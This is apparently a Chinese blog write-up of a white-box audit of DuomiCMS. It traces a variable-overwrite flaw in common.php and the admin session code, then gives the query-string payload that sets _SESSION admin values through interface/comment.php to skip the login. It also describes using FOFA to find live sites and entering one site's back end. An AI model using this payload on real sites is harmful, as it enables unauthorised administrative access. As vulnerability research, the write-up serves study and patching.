【网络安全】Duomicms的变量覆盖漏洞从白盒测试到实战

美国酸奶

声明：本次实践是在合法授权情况下进行，数据已经全部加密，主要是提供思路交流学习，请勿用于任何非法活动，否则后果自负。

本地代码走查

本次白盒代码测试的cms是DuomiCms，这次使用Seay工具进行代码审查，下载DuomiCms源码，然后工具加载。

先全局搜索危险函数，依次排查；
extract();//把数组编程变量
parser_str();//把字符串变成变量
$$； //可变变量，将变量的值读出来然后再赋值为变量在函数定位后，在文件中依次寻找有通用性的文件后缀内容，如下所示；
//此类后缀的文件一般是函数库
common.func
.func.
.class.
.inc.发现符合条件的文件为/duomiphp/common.php.
<?php
error_reporting(0);
if(is_file($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php')){require_once($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php');
}
define('duomi_INC', preg_replace("|[/\]{1,}|",'/',dirname(__FILE__) ) );
define('duomi_ROOT', preg_replace("|[/\]{1,}|",'/',substr(duomi_INC,0,-8) ) );
define('duomi_DATA', duomi_ROOT.'/data');
if(PHP_VERSION < '4.1.0') {
    $_GET = &$HTTP_GET_VARS;
    $_POST = &$HTTP_POST_VARS;
    $_COOKIE = &$HTTP_COOKIE_VARS;
    $_SERVER = &$HTTP_SERVER_VARS;
    $_ENV = &$HTTP_ENV_VARS;
    $_FILES = &$HTTP_POST_FILES;
}
$starttime = microtime();
require_once(duomi_INC.'/common.func.php');
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}

function _RunMagicQuotes(&$svar) {
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}进一步定位其中的危险函数如下，可以通过该方式来通过传参来造出变量！(当然造传参的时候注意规避上面的几个if条件，不要跳进去)，因此我的思路是能不能找到session对应的文件，然后模拟admin的session进行传参实现登陆呢？因此下载duomiCMS本地实现下。
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}本地搭建CMS，访问后台页面，发现登陆成功是通过admin/login.php文件实现的。

【相关技术文档】

访问admin/login.php文件进行白盒走查。
<?php

require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");
if(empty($dopost))
{
    $dopost = '';
}
//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
    if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
    {   $fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限，无法进行写入锁定文件，请安装完毕删除安装目录！'); fwrite($fp,'ok');   fclose($fp);
    }
    //为了防止未知安全性问题，强制禁用安装程序的文件
    if( file_exists("../install/index.php") ) {
        @rename("../install/index.php", "../install/index.php.bak");
    }
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(m_eregi('/admin/login',$cururl))
{
    $redmsg = '<div style="color:#ff0000;font-size:14px;background:#fff;padding:5px 0">后台默认路径/admin建议及时修改，修改后会更安全！</div>';
}
else
{
    $redmsg = '';
}

//登录检测
$admindirs = explode('/',str_replace("\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
    $validate = empty($validate) ? '' : strtolower(trim($validate));
    $svali = strtolower(GetCkVdValue());
    if($validate=='' || $validate != $svali)
    {
        ResetVdValue();
        ShowMsg('验证码不正确!','-1');
        exit();
    }
    else
    {
        $cuserLogin = new userLogin($admindir);
        if(!empty($userid) && !empty($pwd))
        {
            $res = $cuserLogin->checkUser($userid,$pwd);

            //success
            if($res==1)
            {
                $cuserLogin->keepUser();
                if(!empty($gotopage))
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',$gotopage);
                    exit();
                }
                else
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',"index.php");
                    exit();
                }
            }

            //error
            else if($res==-1)
            {
                ShowMsg('你的用户名不存在!','-1');
                exit();
            }
            else
            {
                ShowMsg('你的密码错误!','-1');
                exit();
            }
        }

        //password empty
        else
        {
            ShowMsg('用户和密码没填写完整!','-1');
                exit();
        }
    }
}
include('html/login.htm');
?>其中这段比较敏感，因为会求情一个叫keepUser()的函数，因此进一步定位该函数；
$cuserLogin->keepUser();
                if(!empty($gotopage))
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',$gotopage);
                    exit();
                }
                else
                {
                    ShowMsg('成功登录，正在转向管理管理主页！',"index.php");
                    exit();
                }进入/duomiphp/check.admin.php,定位该函数，发现后端是通过前端传入的session，分别取对应的参数分别作为userID，groupid和userName写入后台叫admincachefile的文件中。
//保持用户的会话状态
    //成功返回 1 ，失败返回 -1
    function keepUser() {
        if($this->userID!=""&&$this->groupid!="")
        {
            global $admincachefile;

            $_SESSION[$this->keepUserIDTag] = $this->userID;
            $_SESSION[$this->keepgroupidTag] = $this->groupid;
            $_SESSION[$this->keepUserNameTag] = $this->userName;

            $fp = fopen($admincachefile,'w');
            fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
            fclose($fp);
            return 1;
        }
        else
        {
            return -1;
        }
    }那我这样就取巧一下，通过登陆的时候，页面直接先返回对应的session，因此在登录的代码中插桩，路径在/admin/login.php

测试登录后，果然返回了我所需要的session值；

array(5) { ["duomi_ckstr"]=> string(4) "kwye" ["duomi_ckstr_last"]=> string(0) "" ["duomi_admin_id"]=> string(1) "1" ["duomi_group_id"]=> string(1) "1" ["duomi_admin_name"]=> string(5) "admin"
}那我现在的思路就是在线上渗透的时候，我把该session上传来完成登录。由于完成该方案是需要页面中有session_start（）函数在代码最上方执行，因此项目中搜索定位，/interface/comment.php文件满足要求；
<?php
session_start();
require_once("../duomiphp/common.php");
require_once(duomi_INC.'/core.class.php');

AjaxHead();
header('Content-Type:text/html;charset=UTF-8');
if($cfg_gbookstart=='0'){
echo '对不起，评论暂时关闭';
exit();
}
$itype=$type;
$itype=is_numeric($itype)?$itype:0;
if(!isset($action))
{
    $action = '';
}
$ischeck = $cfg_feedbackcheck=='Y' ? 0 : 1;
$id = $_REQUEST['id'];
$id = (isset($id) && is_numeric($id)) ? $id : 0;
$page=empty($page) ? 1 : intval($page);
if($page==0) $page=1;
if(empty($id))
{
    echo "err";
    exit();
}
?>

<iframe id="parentframe" width="100%" frameborder="0" scrolling="no" src="/<?php echo $GLOBALS['cfg_cmspath']; ?>interface/comment/comment.html?id=<?php echo $id?>&type=<?php echo $itype?>&iscaptcha=<?php echo $GLOBALS['cfg_feedback_ck']; ?>&islogin=<?php echo (!empty($_SESSION['duomi_user_auth'])?1:0) ;?>&title=" marginheight="0" marginwidth="0" name="comment" style="height:auto"></iframe>其中还包含文件require_once("../duomiphp/common.php");因此可以进行传参，将session传进去。
_SESSION[duomi_ckstr]=kwye&
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=admin然后作为传参拼接在触发路径后进行访问：

然后再次访问后台主页，发现不需要登陆就能进入后台（因为在后台塞进session的时候，php框架会自动给浏览器塞入对应的cookie，从而不需要密码也能登陆），本地渗透测试成功，接下来进行线上复现。

线上渗透

通过fofa搜索对应版本的duomicms，找到测试目标站点；

在域名后拼接一样的session值访问，一把梭；

发现无需密码，直接进入后台，线上渗透成功。

龙战骑士

垃圾内容，路过为证。